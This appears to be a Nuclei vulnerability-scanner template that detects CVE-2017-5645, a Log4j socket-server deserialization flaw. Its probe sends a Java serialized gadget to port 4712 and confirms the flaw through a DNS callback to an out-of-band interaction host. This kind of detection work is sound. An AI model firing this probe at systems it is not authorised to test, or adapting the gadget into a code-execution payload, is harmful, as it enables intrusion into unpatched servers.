id: CVE-2017-5645

info:
  name: Apache Log4j Server - Deserialization Command Execution
  author: princechaddha
  severity: critical
  description: |
    In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5645
  classification:
    cve-id: CVE-2017-5645
  metadata:
    max-request: 2
  tags: vulhub,network,apache,log4j,rce,deserialization,oast

variables:
  end: "\r\n"

tcp:
  - inputs:
      - data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"

    host:
      - "{{Hostname}}"
      - "{{Host}}:4712"

    read-size: 100
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns